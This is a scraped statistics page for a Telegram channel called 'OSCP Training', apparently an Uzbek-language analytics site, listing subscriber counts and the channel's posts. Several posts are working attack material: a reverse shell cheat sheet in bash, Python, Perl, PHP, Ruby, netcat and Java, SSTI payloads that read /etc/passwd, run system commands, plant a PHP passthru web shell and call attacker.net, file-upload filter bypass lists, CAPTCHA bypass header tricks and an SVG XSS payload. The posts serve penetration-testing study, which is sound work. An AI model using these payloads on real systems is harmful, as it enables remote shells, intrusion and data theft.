uz
Feedback
🔥OSCP Training🔥🛡⚔️👨🏻‍💻

🔥OSCP Training🔥🛡⚔️👨🏻‍💻

Kanalga Telegram’da o‘tish

Offensive Security Certified Professional @CEH_training @WebHacking @pfsense @WifiHacking 🔰For safer days

Ko'proq ko'rsatish
7 490
Obunachilar
Ma'lumot yo'q24 soatlar
+37 kun
-2030 kun

Ma'lumot yuklanmoqda...

O'xshash kanallar
Ma'lumot yo'q
Muammo bormi? Iltimos, sahifani yangilang yoki bizning qo'llab-quvvatlash boshqaruvchimizga murojaat qiling>.
Taglar buluti
Ma'lumot yo'q
Muammo bormi? Iltimos, sahifani yangilang yoki bizning qo'llab-quvvatlash boshqaruvchimizga murojaat qiling>.
Kirish va chiqish esdaliklari
---
---
---
---
---
---
Obunachilarni jalb qilish
Mart '25
Mart '250
0 kanalda
Fevral '25
+56
0 kanalda
Get PRO
Yanvar '25
+61
0 kanalda
Get PRO
Dekabr '24
+62
0 kanalda
Get PRO
Noyabr '24
+74
0 kanalda
Get PRO
Oktabr '24
+90
0 kanalda
Get PRO
Sentabr '24
+114
0 kanalda
Get PRO
Avgust '24
+156
0 kanalda
Get PRO
Iyul '24
+185
0 kanalda
Get PRO
Iyun '24
+219
1 kanalda
Get PRO
May '24
+259
0 kanalda
Get PRO
Aprel '24
+193
1 kanalda
Get PRO
Mart '24
+133
1 kanalda
Get PRO
Fevral '24
+179
0 kanalda
Get PRO
Yanvar '24
+189
3 kanalda
Get PRO
Dekabr '23
+188
2 kanalda
Get PRO
Noyabr '23
+176
0 kanalda
Get PRO
Oktabr '23
+154
1 kanalda
Get PRO
Sentabr '23
+204
0 kanalda
Get PRO
Avgust '23
+255
0 kanalda
Get PRO
Iyul '23
+297
0 kanalda
Get PRO
Iyun '23
+239
0 kanalda
Get PRO
May '23
+266
0 kanalda
Get PRO
Aprel '23
+218
0 kanalda
Get PRO
Mart '23
+244
0 kanalda
Get PRO
Fevral '23
+231
0 kanalda
Get PRO
Yanvar '23
+256
0 kanalda
Get PRO
Dekabr '22
+222
0 kanalda
Get PRO
Noyabr '22
+247
0 kanalda
Get PRO
Oktabr '22
+220
0 kanalda
Get PRO
Sentabr '22
+247
0 kanalda
Get PRO
Avgust '22
+199
0 kanalda
Get PRO
Iyul '22
+230
0 kanalda
Get PRO
Iyun '22
+187
0 kanalda
Get PRO
May '22
+139
0 kanalda
Get PRO
Aprel '22
+464
0 kanalda
Get PRO
Mart '220
0 kanalda
Get PRO
Fevral '220
0 kanalda
Get PRO
Yanvar '220
0 kanalda
Get PRO
Dekabr '21
+107
0 kanalda
Get PRO
Noyabr '21
+139
0 kanalda
Get PRO
Oktabr '21
+231
0 kanalda
Get PRO
Sentabr '21
+120
0 kanalda
Get PRO
Avgust '21
+135
0 kanalda
Get PRO
Iyul '21
+143
0 kanalda
Get PRO
Iyun '21
+150
0 kanalda
Get PRO
May '21
+138
0 kanalda
Get PRO
Aprel '21
+163
0 kanalda
Get PRO
Mart '21
+165
0 kanalda
Get PRO
Fevral '21
+192
0 kanalda
Get PRO
Yanvar '21
+247
0 kanalda
Get PRO
Dekabr '20
+1 077
0 kanalda
Sana
Obunachilarni jalb qilish
Esdaliklar
Kanallar
02 Mart0
01 Mart0
Kanal postlari
2
Matn yo'q...
2 574
3
Matn yo'q...
2 924
4
Wireshark.pdf
2 737
5
Web Application Lab Setup Guide .pdf
2 700
6
OSCP Cheat Sheet-2.pdf
3 967
7
RedTeam Scenarios.pdf.pdf
299
8
OSCP Exam Report.pdf
3 954
9
OSCP Notes 2.pdf
4 919
10
Matn yo'q...
4 755
11
File Upload Bypass - Blacklisting Bypass PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .ph
File Upload Bypass - Blacklisting Bypass PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml Jsp → .jsp, .jspx, .jsw, .jsv, .jspf Coldfusion → .cfm, .cfml, .cfc, .dbm Perl → .pl, .cgi Using random capitalization → .pHp, .pHP5, .PhAr Whitelisting Bypass file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg
3 953
12
@OSCP_training @WebHacking
@OSCP_training @WebHacking
3 335
13
SSTI (Server Side Template Injection) Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %>
SSTI (Server Side Template Injection) Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %> #{3*3} #{ 3 * 3 } [[3*3]] ${2*2} @(3*3) ${= 3*3} {{= 7*7}} ${{7*7}} #{7*7} [=7*7] {{ request }} {{self}} {{dump(app)}} {{ [] .class.base.subclassesO }} {{''.class.mro()[l] .subclassesO}} for c in [1,2,3] %}{{ c,c,c }}{% endfor %} {{ []._class.base.subclasses_O }} {{['cat%20/etc/passwd']|filter('system')}} PHP {php}print "Hello"{/php} {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php} {{dump(app)}} {{app.request.server.all|join(',')}} "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {$smarty.version} {php}echo id;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} Python {% debug %} {{settings.SECRET_KEY}} {% import foobar %} = Error {% import os %}{{os.system('whoami')}}
3 178
14
Google Dorks to Find Sensitive data or dir
Google Dorks to Find Sensitive data or dir
2 295
15
APIs Fuzzing for Bug Bounty.pdf
2 863
16
CAPTCHA Bypass * Send old captcha value. * Send old captcha value with old session ID. * Remove captcha with any adblocker and request again * Bypass with OCR * Response manipulation. * Use any token with the same length(+1/-1). * Remove the param value or remove the entire parameter. * Change the method from POST to GET(or PUT) and remove the captcha. * Change body to JSON or vice-versa. * Check whether the value of the captcha is in the source code. * Add headers: X-Forwarded-Host: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Host: 127.0.0.1
3 709
17
Tryhackme.pdf
5 849
18
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings. Many file uploads allow SVGs and are prone to tampering. <svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml"> <foreignObject width="100%" height="100%"> <body xmlns="w3.org/1999/xhtml"> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
4 930
19
WhatsApp'ta OSCP Training kanalını takip edin: https://whatsapp.com/channel/0029VaDxObG17EmxK6bvmy3a
2 745
20
Reverse Shell Cheat Sheet Bash; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 Python; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PERL; perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' PHP; php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' Ruby; ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Netcat; nc -e /bin/sh 10.0.0.1 1234 Java; r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() xterm; xterm -display 10.0.0.1:1
3 037